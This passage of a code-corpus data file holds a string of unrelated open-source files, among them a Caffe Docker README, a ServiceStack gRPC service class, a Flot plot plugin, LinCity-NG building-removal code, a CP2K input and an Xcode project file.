ModifyTTSConfigResponse.class;\n\t}\n\n}\n"} +{"text": "\nfirst second source\nfirst second source all .END\nexit status 0\n"} +{"text": "### Running an official image\n\nYou can run one of the automatic [builds](https://hub.docker.com/r/bvlc/caffe). E.g. for the CPU version:\n\n`docker run -ti bvlc/caffe:cpu caffe --version`\n\nor for GPU support (You need a CUDA 8.0 capable driver and\n[nvidia-docker](https://github.com/NVIDIA/nvidia-docker)):\n\n`nvidia-docker run -ti bvlc/caffe:gpu caffe --version`\n\nYou might see an error about libdc1394, ignore it.\n\n### Docker run options\n\nBy default caffe runs as root, thus any output files, e.g. snapshots, will be owned\nby root. It also runs by default in a container-private folder.\n\nYou can change this using flags, like user (-u), current directory, and volumes (-w and -v).\nE.g. this behaves like the usual caffe executable:\n\n`docker run --rm -u $(id -u):$(id -g) -v $(pwd):$(pwd) -w $(pwd) bvlc/caffe:cpu caffe train --solver=example_solver.prototxt`\n\nContainers can also be used interactively, specifying e.g. `bash` or `ipython`\ninstead of `caffe`.\n\n```\ndocker run -ti bvlc/caffe:cpu ipython\nimport caffe\n...\n```\n\nThe caffe build requirements are included in the container, so this can be used to\nbuild and run custom versions of caffe. Also, `caffe/python` is in PATH, so python\nutilities can be used directly, e.g. `draw_net.py`, `classify.py`, or `detect.py`.\n\n### Building images yourself\n\nExamples:\n\n`docker build -t caffe:cpu cpu`\n\n`docker build -t caffe:gpu gpu`\n\nYou can also build Caffe and run the tests in the image:\n\n`docker run -ti caffe:cpu bash -c \"cd /opt/caffe/build; make runtest\"`\n"} +{"text": "// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.\n\n// Package amplify provides the client and types for making API\n// requests to AWS Amplify.\n//\n// Amplify enables developers to develop and deploy cloud-powered mobile and\n// web apps. The Amplify Console provides a continuous delivery and hosting\n// service for web applications. For more information, see the Amplify Console\n// User Guide (https://docs.aws.amazon.com/amplify/latest/userguide/welcome.html).\n// The Amplify Framework is a comprehensive set of SDKs, libraries, tools, and\n// documentation for client app development. For more information, see the Amplify\n// Framework. (https://docs.amplify.aws/)\n//\n// See https://docs.aws.amazon.com/goto/WebAPI/amplify-2017-07-25 for more information on this service.\n//\n// See amplify package documentation for more information.\n// https://docs.aws.amazon.com/sdk-for-go/api/service/amplify/\n//\n// Using the Client\n//\n// To contact AWS Amplify with the SDK use the New function to create\n// a new service client. With that client you can make API requests to the service.\n// These clients are safe to use concurrently.\n//\n// See the SDK's documentation for more information on how to use the SDK.\n// https://docs.aws.amazon.com/sdk-for-go/api/\n//\n// See aws.Config documentation for more information on configuring SDK clients.\n// https://docs.aws.amazon.com/sdk-for-go/api/aws/#Config\n//\n// See the AWS Amplify client Amplify for more\n// information on creating client for this service.\n// https://docs.aws.amazon.com/sdk-for-go/api/service/amplify/#New\npackage amplify\n"} +{"text": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Threading;\r\nusing System.Threading.Tasks;\r\nusing Grpc.Core;\r\nusing ProtoBuf.Grpc;\r\nusing ProtoBuf.Grpc.Configuration;\r\nusing ServiceStack.Grpc;\r\nusing ServiceStack.Web;\r\nusing ServiceStack.Text;\r\n\r\nnamespace ServiceStack\r\n{\r\n public abstract class GrpcServiceBase : IGrpcService\r\n {\r\n private ServiceStackHost appHost;\r\n private ServiceStackHost AppHost => appHost ??= HostContext.AppHost;\r\n\r\n private RpcGateway rpcGateway;\r\n protected RpcGateway RpcGateway => rpcGateway ??= HostContext.AppHost.RpcGateway;\r\n\r\n private GrpcFeature feature;\r\n protected GrpcFeature Feature => feature ??= HostContext.AssertPlugin();\r\n\r\n protected async Task WriteResponseHeadersAsync(IResponse httpRes, CallContext context)\r\n {\r\n var res = (GrpcResponse) httpRes;\r\n var nonSuccessStatus = res.StatusCode >= 300;\r\n if (!Feature.DisableResponseHeaders || nonSuccessStatus)\r\n {\r\n foreach (var header in Feature.IgnoreResponseHeaders)\r\n {\r\n res.Headers.Remove(header);\r\n }\r\n\r\n if (res.Headers.Count > 0 || nonSuccessStatus)\r\n {\r\n var headers = new global::Grpc.Core.Metadata();\r\n if (nonSuccessStatus)\r\n headers.Add(Keywords.HttpStatus, res.StatusCode.ToString());\r\n\r\n foreach (var entry in res.Headers)\r\n {\r\n headers.Add(entry.Key, entry.Value);\r\n }\r\n\r\n if (nonSuccessStatus)\r\n {\r\n var status = res.Dto.GetResponseStatus();\r\n if (status != null)\r\n headers.Add(Keywords.GrpcResponseStatus,\r\n GrpcMarshaller.Instance.Serializer(status));\r\n\r\n var desc = status?.ErrorCode ?? res.StatusDescription ??\r\n status?.Message ?? HttpStatus.GetStatusDescription(res.StatusCode);\r\n context.ServerCallContext.Status = feature.ToGrpcStatus?.Invoke(httpRes) ?? ToGrpcStatus(res.StatusCode, desc);\r\n }\r\n\r\n await context.ServerCallContext.WriteResponseHeadersAsync(headers).ConfigAwait();\r\n }\r\n }\r\n }\r\n\r\n protected virtual Task ExecuteDynamic(string method, DynamicRequest request, CallContext context, Type requestType)\r\n {\r\n AppHost.AssertFeatures(ServiceStack.Feature.Grpc);\r\n var to = request.Params.ToObjectDictionary();\r\n var typedRequest = to?.FromObjectDictionary(requestType) ?? requestType.CreateInstance();\r\n if (request.Params != null)\r\n {\r\n foreach (var entry in request.Params)\r\n {\r\n context.RequestHeaders.Add(\"query.\" + entry.Key, entry.Value);\r\n }\r\n }\r\n return Execute(method, typedRequest, context);\r\n }\r\n \r\n protected virtual async Task Execute(string method, object request, CallContext context)\r\n {\r\n AppHost.AssertFeatures(ServiceStack.Feature.Grpc);\r\n if (!Feature.DisableRequestParamsInHeaders)\r\n PopulateRequestFromHeaders(request, context.CallOptions.Headers);\r\n\r\n var req = new GrpcRequest(context, request, method);\r\n using var scope = req.StartScope();\r\n var ret = await RpcGateway.ExecuteAsync(request, req).ConfigAwait();\r\n if (req.Response.Dto == null)\r\n req.Response.Dto = ret;\r\n await WriteResponseHeadersAsync(req.Response, context).ConfigAwait();\r\n return ret;\r\n }\r\n\r\n protected virtual void PopulateRequestFromHeaders(object request, global::Grpc.Core.Metadata headers)\r\n {\r\n if (headers.Count == 0)\r\n return;\r\n\r\n var props = TypeProperties.Get(request.GetType());\r\n var to = new Dictionary();\r\n foreach (var entry in headers)\r\n {\r\n var key = entry.Key.IndexOf('.') >= 0 && (\r\n entry.Key.StartsWith(\"query.\") ||\r\n entry.Key.StartsWith(\"form.\") ||\r\n entry.Key.StartsWith(\"cookie.\") ||\r\n entry.Key.StartsWith(\"header.\"))\r\n ? entry.Key.RightPart('.')\r\n : entry.Key;\r\n \r\n if (!props.PropertyMap.TryGetValue(key, out var accessor))\r\n continue;\r\n\r\n var propName = accessor.PropertyInfo.Name; \r\n to[propName] = !entry.Key.EndsWith(\"-bin\")\r\n ? (object) entry.Value\r\n : entry.ValueBytes;\r\n }\r\n\r\n if (to.Count > 0)\r\n to.PopulateInstance(request);\r\n }\r\n\r\n protected virtual async IAsyncEnumerable Stream(TRequest request, CallContext context)\r\n {\r\n AppHost.AssertFeatures(ServiceStack.Feature.Grpc);\r\n if (!Feature.DisableRequestParamsInHeaders)\r\n PopulateRequestFromHeaders(request, context.CallOptions.Headers);\r\n \r\n if (!Feature.RequestServiceTypeMap.TryGetValue(typeof(TRequest), out var serviceType))\r\n throw new NotSupportedException($\"'{typeof(TRequest).Name}' was not registered in GrpcFeature.RegisterServices\");\r\n\r\n var service = (IStreamService) AppHost.Container.Resolve(serviceType);\r\n using var disposableService = service as IDisposable;\r\n \r\n var req = new GrpcRequest(context, request, HttpMethods.Post);\r\n using var scope = req.StartScope();\r\n var res = req.Response;\r\n\r\n if (service is IRequiresRequest requiresRequest)\r\n requiresRequest.Request = req;\r\n \r\n IAsyncEnumerable response = default;\r\n try\r\n {\r\n if (AppHost.ApplyPreRequestFilters(req, req.Response))\r\n yield break;\r\n\r\n await AppHost.ApplyRequestFiltersAsync(req, res, request).ConfigAwait();\r\n if (res.IsClosed)\r\n yield break;\r\n\r\n response = service.Stream(request, context.CancellationToken);\r\n }\r\n catch (Exception e)\r\n {\r\n res.Dto = RpcGateway.CreateErrorResponse(res, e);\r\n await WriteResponseHeadersAsync(res, context).ConfigAwait();\r\n yield break; //written in headers\r\n }\r\n\r\n if (response != null)\r\n {\r\n var enumerator = response.GetAsyncEnumerator();\r\n bool more;\r\n try\r\n {\r\n more = await enumerator.MoveNextAsync();\r\n }\r\n catch (Exception e)\r\n {\r\n // catch + handle first Exception\r\n res.Dto = RpcGateway.CreateErrorResponse(res, e);\r\n await WriteResponseHeadersAsync(res, context).ConfigAwait();\r\n await enumerator.DisposeAsync();\r\n yield break; //written in headers\r\n }\r\n yield return enumerator.Current;\r\n\r\n while (more)\r\n {\r\n try\r\n {\r\n more = await enumerator.MoveNextAsync();\r\n }\r\n catch (OperationCanceledException)\r\n {\r\n await enumerator.DisposeAsync();\r\n yield break;\r\n }\r\n catch (Exception)\r\n {\r\n await enumerator.DisposeAsync();\r\n yield break;\r\n }\r\n if (more)\r\n yield return enumerator.Current;\r\n }\r\n\r\n await enumerator.DisposeAsync();\r\n }\r\n }\r\n\r\n protected virtual async IAsyncEnumerable StreamService(IStreamService service,\r\n TRequest request, [EnumeratorCancellation] CancellationToken cancel)\r\n {\r\n var response = service.Stream(request, cancel);\r\n await foreach (var item in response.WithCancellation(cancel))\r\n {\r\n yield return item;\r\n }\r\n }\r\n\r\n protected Status ToGrpcStatus(int httpStatus, string detail)\r\n {\r\n switch (httpStatus)\r\n {\r\n case 400:\r\n return new Status(StatusCode.Internal, detail); \r\n case 401:\r\n return new Status(StatusCode.Unauthenticated, detail); \r\n case 403:\r\n return new Status(StatusCode.PermissionDenied, detail); \r\n case 404:\r\n return new Status(StatusCode.NotFound, detail); \r\n case 409:\r\n return new Status(StatusCode.AlreadyExists, detail); \r\n case 429:\r\n case 502:\r\n case 503:\r\n case 504:\r\n return new Status(StatusCode.Unavailable, detail); \r\n default:\r\n return new Status(StatusCode.Unknown, detail); \r\n }\r\n }\r\n }\r\n}"} +{"text": "/*\nFlot plugin for automatically redrawing plots when the placeholder\nsize changes, e.g. on window resizes.\n\nIt works by listening for changes on the placeholder div (through the\njQuery resize event plugin) - if the size changes, it will redraw the\nplot.\n\nThere are no options. If you need to disable the plugin for some\nplots, you can just fix the size of their placeholders.\n*/\n\n\n/* Inline dependency: \n * jQuery resize event - v1.2 - 3/14/2010\n * http://benalman.com/projects/jquery-resize-plugin/\n * \n * Copyright (c) 2010 \"Cowboy\" Ben Alman\n * Dual licensed under the MIT and GPL licenses.\n * http://benalman.com/about/license/\n */\n(function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k=\"setTimeout\",j=\"resize\",d=j+\"-special-event\",b=\"delay\",f=\"throttleWindow\";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this);\n\n\n(function ($) {\n var redrawing = 0;\n var options = { }; // no options\n\n function init(plot) {\n function bindEvents(plot, eventHolder) {\n if (!redrawing)\n plot.getPlaceholder().resize(onResize);\n\n function onResize() {\n var placeholder = plot.getPlaceholder();\n\n // somebody might have hidden us and we can't plot\n // when we don't have the dimensions\n if (placeholder.width() == 0 || placeholder.height() == 0)\n return;\n \n ++redrawing;\n $.plot(placeholder, plot.getData(), plot.getOptions());\n --redrawing;\n }\n }\n \n plot.hooks.bindEvents.push(bindEvents);\n }\n \n $.plot.plugins.push({\n init: init,\n options: options,\n name: 'resize',\n version: '1.0'\n });\n})(jQuery);\n"} +{"text": "\n\n \"Krmarjenje domov\"\n \"%1$s, %2$s\"\n \"%1$s, %2$s, %3$s\"\n \"Krmarjenje navzgor\"\n \"Več možnosti\"\n \"Končano\"\n \"Pokaži vse\"\n \"Izbira aplikacije\"\n \"IZKLOPLJENO\"\n \"VKLOPLJENO\"\n \"Iskanje …\"\n \"Izbris poizvedbe\"\n \"Iskalna poizvedba\"\n \"Iskanje\"\n \"Pošiljanje poizvedbe\"\n \"Glasovno iskanje\"\n \"Deljenje z\"\n \"Deljenje z:\"\n \"Strni\"\n \"Iskanje\"\n \"999+\"\n"} +{"text": "@model CustomerModel\n@inject AdminAreaSettings adminAreaSettings\n@{\n @T(\"Admin.Customers.Customers.ProductPrice\")\n
    \n \n
    \n
    \n
    \n
    \n \n \n
    \n \n
    \n \n \n\n}"} +{"text": "/*\n************************************************************************\nCopyright (c) 2013 UBINITY SAS, Cédric Mesnil \n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*************************************************************************\n*/\n/**\n * @project JSUCrypt\n * @author Cédric Mesnil \n * @license Apache License, Version 2.0\n */\n\n\n\n/**\n * \n * ## ECDH SVDP\n *\n * ECDH Key Agreement without any KDF, as specified in IEEE p1363-2000\n * \n * #### Example:\n * //secp256k1\n * ecdhdomain = JSUCrypt.ECFp.getEcDomainByName(\"secp256k1\");\n * ecdhprivkey = new JSUCrypt.key.EcFpPrivateKey(\n * 256, ecdhdomain, \n * \"fb26a4e75eec75544c0f44e937dcf5ee6355c7176600b9688c667e5c283b43c5\"\n * );**\n *\n * ecdhpubkey = new JSUCrypt.key.EcFpPublicKey(\n * 256, ecdhdomain, \n * new JSUCrypt.ECFp.AffinePoint(\"65d5b8bf9ab1801c9f168d4815994ad35f1dcb6ae6c7a1a303966b677b813b00\",\n * \"e6b865e529b8ecbf71cf966e900477d49ced5846d7662dd2dd11ccd55c0aff7f\")\n * );\n *\n * //other party public point....\n * otherpoint = new JSUCrypt.ECFp.AffinePoint(\"edc8530038d1186b9054acb75aef1419e78ae29b7ee86d42d2dc675504367421\",\n * \"70b4c38a9eb95587f88c3ca33ae760cc0118dcc453d25c1653a54d920f1debe5\",\n * ecdhdomain.curve);\n * //generate secret\n * var ecdh = new JSUCrypt.keyagreement.ECDH_SVDP(ecdhprivkey);\n * var secret = ecdh.generate(otherpoint);\n *\n */\nJSUCrypt.keyagreement.ECDH_SVDP || (function (undefined) {\n\n /**\n * @param {anyBN} private ECDH key\n * @class\n * @lends JSUCrypt.keyagreement.ECDH_SVDP\n */\n JSUCrypt.keyagreement.ECDH_SVDP = function (key) {\n if (!(key instanceof JSUCrypt.key.EcFpPrivateKey)){ \n throw new JSUCrypt.JSUCryptException(\"Invalid parameter type\");\n }\n this.key = key;\n };\n\n /**\n * Compute a ECDH shared secret according to IEEE p1363 SVDP scheme.\n * No key derivation function (KDF) is performed.\n *\n * @param {AffinePoint|ProjectivePoint} otherPoint other party public point\n *\n * @return {BigInteger} shared secret (x ccordinate of computer point)\n */\n JSUCrypt.keyagreement.ECDH_SVDP.prototype.generate = function(otherPoint) {\n if (!(otherPoint instanceof JSUCrypt.ECFp.AffinePoint) &&\n !(otherPoint instanceof JSUCrypt.ECFp.ProjectivePoint)) {\n throw new JSUCrypt.JSUCryptException(\"Invalid parameter type\");\n }\n \n var point = otherPoint.multiply(this.key.d);\n return JSUCrypt.utils.normalizeByteArrayUL(point.x.toByteArray(),this.key.size/8) ;\n };\n \n}());\n"} +{"text": "import {readFileSync} from 'fs';\nimport babel from 'rollup-plugin-babel';\nimport nodeResolve from 'rollup-plugin-node-resolve';\nimport replace from 'rollup-plugin-replace';\nimport commonjs from 'rollup-plugin-commonjs';\n\nconst pkg = JSON.parse(readFileSync('package.json', 'utf-8' ));\n\nexport default {\n entry: 'src/index.js',\n dest: 'dist/react-onsenui.js',\n plugins: [\n babel({presets: ['es2015-rollup', 'react', 'stage-2']}),\n nodeResolve(),\n commonjs({\n 'node_modules/react-dom/server.js': ['ReactDOMServer']\n }),\n replace({\n 'process.env.NODE_ENV': JSON.stringify('production')\n }),\n babel({\n externalHelpers: true, presets: ['es2015-rollup'], plugins: ['transform-react-jsx', 'transform-object-rest-spread']\n })\n ],\n external: [\n 'react',\n 'react-dom/server',\n 'react-dom',\n 'onsenui'\n ],\n globals: {\n 'react': 'React',\n 'react-dom': 'ReactDOM',\n 'react-dom/server': 'ReactDOMServer',\n 'onsenui': 'ons'\n },\n format: 'umd',\n moduleName: 'Ons',\n banner: `/*! ${pkg.name} v${pkg.version} - ${new Date()} */`,\n sourceMap: true\n};\n"} +{"text": "#include \"qvalidator.h\"\n"} +{"text": "fileFormatVersion: 2\nguid: e964a38b856f751458d1f72a80a8566a\nfolderAsset: yes\nDefaultImporter:\n userData: \n"} +{"text": "#include \"ConstructionRequest.h\"\n\n#include \"lintypes.h\"\n#include \"lin-city.h\"\n#include \"lctypes.h\"\n#include \"engglobs.h\"\n#include \"engine.h\"\n#include \"simulate.h\"\n#include \"transport.h\"\n#include \"../gui_interface/mps.h\"\n#include \"modules/all_modules.h\"\n#include \"all_buildings.h\"\n\n//#include \"../lincity-ng/Mps.hpp\"\n//FIXME cannot include mps.h because of differing paths for further dependencies\n//TODO eliminate duplicated code\n\nextern int mps_x, mps_y;\n\nvoid ConstructionDeletionRequest::execute()\n{\n //std::cout << \"deleting: \" << subject->constructionGroup->name\n //<< \" (\" << subject->x << \",\" << subject->y << \")\" << std::endl;\n unsigned short size = subject->constructionGroup->size;\n int x = subject->x;\n int y = subject->y;\n subject->detach();\n delete subject;\n for (int i = 0; i < size; i++)\n {\n for (int j = 0; j < size; j++)\n {\n //update mps display\n world(x + j, y + i)->flags &= ~(FLAG_POWER_CABLES_0 | FLAG_POWER_CABLES_90);\n if (mps_x == x + j && mps_y == y + i)\n { mps_set(x + j, y + i, MPS_MAP);}\n }\n }\n // update adjacencies\n connect_transport(x - 2, y - 2, x + size + 1, y + size + 1);\n desert_water_frontiers(x - 1, y - 1, size + 2, size + 2);\n}\n\nvoid OreMineDeletionRequest::execute()\n{\n int size = subject->constructionGroup->size;\n int x = subject->x;\n int y = subject->y;\n subject->detach();\n delete subject;\n for (int i = 0; i < size; i++)\n {\n for (int j = 0; j < size; j++)\n {\n world(x + j, y + i)->flags &= ~(FLAG_POWER_CABLES_0 | FLAG_POWER_CABLES_90);\n if (world(x+j,y+i)->ore_reserve < ORE_RESERVE / 2)\n {\n world(x+j,y+i)->setTerrain(GROUP_WATER);\n world(x+j,y+i)->flags |= (FLAG_HAS_UNDERGROUND_WATER | FLAG_ALTERED);\n connect_rivers(x+j,y+i);\n }\n //update mps display\n if (mps_x == x + j && mps_y == y + i)\n { mps_set(x + j, y + i, MPS_MAP);}\n }\n }\n\n // update adjacencies\n connect_transport(x - 2, y - 2, x + size + 1, y + size + 1);\n desert_water_frontiers(x - 1, y - 1, size + 2, size + 2);\n}\n\nvoid CommuneDeletionRequest::execute()\n{\n unsigned short size = subject->constructionGroup->size;\n int x = subject->x;\n int y = subject->y;\n subject->detach();\n delete subject;\n for (unsigned short i = 0; i < size; ++i)\n {\n for (unsigned short j = 0; j < size; ++j)\n {\n world(x + j, y + i)->flags &= ~(FLAG_POWER_CABLES_0 | FLAG_POWER_CABLES_90);\n if (world(x+j,y+i)->flags & FLAG_HAS_UNDERGROUND_WATER)\n { parklandConstructionGroup.placeItem(x+j, y+i);}\n //update mps display\n if (mps_x == x + j && mps_y == y + i)\n { mps_set(x + j, y + i, MPS_MAP);}\n }\n }\n // update adjacencies\n connect_transport(x - 2, y - 2, x + size + 1, y + size + 1);\n desert_water_frontiers(x - 1, y - 1, size + 2, size + 2);\n}\n\nvoid BurnDownRequest::execute()\n{\n unsigned short size = subject->constructionGroup->size;\n int x = subject->x;\n int y = subject->y;\n subject->detach();\n delete subject;\n for (unsigned short i = 0; i < size; ++i)\n {\n for (unsigned short j = 0; j < size; ++j)\n {\n world(x + j, y + i)->flags &= ~(FLAG_POWER_CABLES_0 | FLAG_POWER_CABLES_90);\n fireConstructionGroup.placeItem(x+j, y+i);\n static_cast (world(x+j,y+i)->construction)->burning_days = FIRE_LENGTH - 25;\n //update mps display\n if (mps_x == x + j && mps_y == y + i)\n { mps_set(x + j, y + i, MPS_MAP);}\n }\n }\n // update adjacencies\n connect_transport(x - 2, y - 2, x + size + 1, y + size + 1);\n desert_water_frontiers(x - 1, y - 1, size + 2, size + 2);\n}\n\nvoid SetOnFire::execute()\n{\n unsigned short size = subject->constructionGroup->size;\n int x = subject->x;\n int y = subject->y;\n subject->detach();\n delete subject;\n for (unsigned short i = 0; i < size; ++i)\n {\n for (unsigned short j = 0; j < size; ++j)\n {\n world(x + j, y + i)->flags &= ~(FLAG_POWER_CABLES_0 | FLAG_POWER_CABLES_90);\n fireConstructionGroup.placeItem(x+j, y+i);\n //update mps display\n if (mps_x == x + j && mps_y == y + i)\n { mps_set(x + j, y + i, MPS_MAP);}\n }\n }\n // update adjacencies\n connect_transport(x - 2, y - 2, x + size + 1, y + size + 1);\n desert_water_frontiers(x - 1, y - 1, size + 2, size + 2);\n}\n\nvoid PowerLineFlashRequest::execute()\n{\n int *anim_counter = &(dynamic_cast(subject)->anim_counter);\n // 2/3 cooldown will prevent interlacing wave packets\n if (*anim_counter <= POWER_MODULUS/3)\n { *anim_counter = POWER_MODULUS;}\n}\n"} +{"text": "module.exports = function ({ $incremental, $lookup }) {\n return {\n object: function () {\n return function (object) {\n return function ($buffer, $start, $end) {\n let $I = []\n\n if ($end - $start < 1) {\n return $incremental.object(object, 0, $I)($buffer, $start, $end)\n }\n\n $buffer[$start++] = object.nudge & 0xff\n\n $I[0] = object.array.reduce((sum, buffer) => sum + buffer.length, 0)\n if ((value => value < 128)($I[0])) {\n if ($end - $start < 1) {\n return $incremental.object(object, 4, $I)($buffer, $start, $end)\n }\n\n $buffer[$start++] = $I[0] & 0xff\n } else {\n if ($end - $start < 2) {\n return $incremental.object(object, 6, $I)($buffer, $start, $end)\n }\n\n $buffer[$start++] = $I[0] >>> 7 & 0x7f | 0x80\n $buffer[$start++] = $I[0] & 0x7f\n }\n\n if ($end - $start < 0 + object.array.reduce((sum, buffer) => sum + buffer.length, 0)) {\n return $incremental.object(object, 9, $I)($buffer, $start, $end)\n }\n\n {\n for (let i = 0, I = object.array.length; i < I; i++) {\n object.array[i].copy($buffer, $start, 0, object.array[i].length)\n $start += object.array[i].length\n }\n }\n\n if ($end - $start < 1) {\n return $incremental.object(object, 10, $I)($buffer, $start, $end)\n }\n\n $buffer[$start++] = object.sentry & 0xff\n\n return { start: $start, serialize: null }\n }\n }\n } ()\n }\n}\n"} +{"text": "/* \n Copyright 2007-2017 The NGenerics Team\n (https://github.com/ngenerics/ngenerics/wiki/Team)\n\n This program is licensed under the MIT License. You should \n have received a copy of the license along with the source code. If not, an online copy\n of the license can be found at https://opensource.org/licenses/MIT.\n*/\n\nusing NGenerics.DataStructures.Queues;\nusing NGenerics.Tests.Util;\nusing NUnit.Framework;\n\nnamespace NGenerics.Tests.DataStructures.Queues.CircularQueueTests\n{\n [TestFixture]\n public class Serialization\n {\n\n [Test]\n public void Simple()\n {\n var circularQueue = new CircularQueue(10);\n\n for (var i = 0; i < 7; i++)\n {\n circularQueue.Enqueue(i);\n }\n\n var newQ = SerializeUtil.BinarySerializeDeserialize(circularQueue);\n\n Assert.AreNotSame(circularQueue, newQ);\n Assert.AreEqual(circularQueue.Count, newQ.Count);\n\n while (circularQueue.Count > 0)\n {\n Assert.AreEqual(circularQueue.Dequeue(), newQ.Dequeue());\n }\n }\n\n }\n}"} +{"text": "&FORCE_EVAL\n METHOD Quickstep\n &DFT\n BASIS_SET_FILE_NAME BASIS_SET\n POTENTIAL_FILE_NAME POTENTIAL\n &MGRID\n CUTOFF 200\n &END MGRID\n &QS\n &END QS\n &SCF\n MAX_SCF 5\n SCF_GUESS ATOMIC\n EPS_SCF 1.0E-4\n &OT \n PRECONDITIONER FULL_ALL\n ENERGY_GAP 0.001\n &END OT\n &OUTER_SCF\n MAX_SCF 4\n EPS_SCF 1.0E-4\n &END OUTER_SCF\n &END SCF\n &XC\n &XC_FUNCTIONAL PADE\n &END XC_FUNCTIONAL\n &END XC\n &END DFT\n &SUBSYS\n &CELL\n ABC 5.0 5.0 5.0\n &END CELL\n &COORD\n O 0.000000 0.000000 -0.065587\n H 0.000000 -0.757136 0.520545\n H 0.000000 0.757136 0.520545\n &END COORD\n &KIND O\n BASIS_SET DZVP-GTH-PADE\n POTENTIAL GTH-PADE-q6\n &END KIND\n &KIND H\n BASIS_SET DZVP-GTH-PADE\n POTENTIAL GTH-PADE-q1\n &END KIND\n &END SUBSYS\n&END FORCE_EVAL\n&GLOBAL\n PROJECT H2O\n PRINT_LEVEL MEDIUM\n&END GLOBAL\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n text/microsoft-resx\n \n \n 2.0\n \n \n System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n"} +{"text": "{{! -------------------------------------------------------------------------- }}\n{{! Copyright 2002-2020, OpenNebula Project, OpenNebula Systems }}\n{{! }}\n{{! Licensed under the Apache License, Version 2.0 (the \"License\"); you may }}\n{{! not use this file except in compliance with the License. You may obtain }}\n{{! a copy of the License at }}\n{{! }}\n{{! http://www.apache.org/licenses/LICENSE-2.0 }}\n{{! }}\n{{! Unless required by applicable law or agreed to in writing, software }}\n{{! distributed under the License is distributed on an \"AS IS\" BASIS, }}\n{{! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }}\n{{! See the License for the specific language governing permissions and }}\n{{! limitations under the License. }}\n{{! -------------------------------------------------------------------------- }}\n\n{{#each arrayDataTable}}\n
    \n
    \n \t
    \n\t \t\t\n\t \t\t\t
    \n\t\t\t {{this.name}}\n\t\t
    \n\t \t
    \n\t\t
    \n\t\t {{{this.table}}}\n\t\t
    \n\t\t
    \n
    \n
    \n{{/each}}"} +{"text": "#ifndef SRC_HTTPMIDDLEWAREFUNCTION_HPP_\n#define SRC_HTTPMIDDLEWAREFUNCTION_HPP_\n\n#include \n\n#include \"HTTPRequest.hpp\"\n#include \"HTTPResponse.hpp\"\n#include \"HTTPSCallbackFunction.hpp\"\n\nnamespace httpsserver {\n class HTTPRequest;\n /**\n * \\brief A middleware function that can be registered at the server.\n *\n * It will be called before an incoming request is passed to any HTTPSCallbackFunction and may perform\n * operations like redirects or authentication.\n *\n * It receives the request and response object as well as a function pointer (\"next\") to pass on processing.\n * This allows chaining those functions. If next() is not called, the HTTPSCallbackFunction that\n * would match the request url will not be invoked. This might become handy if you want to intercept request\n * handling in case of missing authentication. Don't forget to call next in case you want to access your\n * resources, though.\n */\n typedef void (HTTPSMiddlewareFunction)(HTTPRequest * req, HTTPResponse * res, std::function next);\n}\n #endif /* SRC_HTTPMIDDLEWAREFUNCTION_HPP_ */\n"} +{"text": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 50;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\t962AEB8A22A920A4007F789B /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 962AEB8922A920A4007F789B /* AppDelegate.swift */; };\n\t\t962AEB8C22A920A4007F789B /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 962AEB8B22A920A4007F789B /* SceneDelegate.swift */; };\n\t\t962AEB8E22A920A4007F789B /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 962AEB8D22A920A4007F789B /* ContentView.swift */; };\n\t\t962AEB9022A920A5007F789B /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 962AEB8F22A920A5007F789B /* Assets.xcassets */; };\n\t\t962AEB9322A920A5007F789B /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 962AEB9222A920A5007F789B /* Preview Assets.xcassets */; };\n\t\t962AEB9622A920A5007F789B /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 962AEB9422A920A5007F789B /* LaunchScreen.storyboard */; };\n/* End PBXBuildFile section */\n\n/* Begin PBXFileReference section */\n\t\t962AEB8622A920A4007F789B /* SwiftUI-BasicAnimation.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = \"SwiftUI-BasicAnimation.app\"; sourceTree = BUILT_PRODUCTS_DIR; };\n\t\t962AEB8922A920A4007F789B /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = \"\"; };\n\t\t962AEB8B22A920A4007F789B /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = \"\"; };\n\t\t962AEB8D22A920A4007F789B /* ContentView.swift */ = {isa = 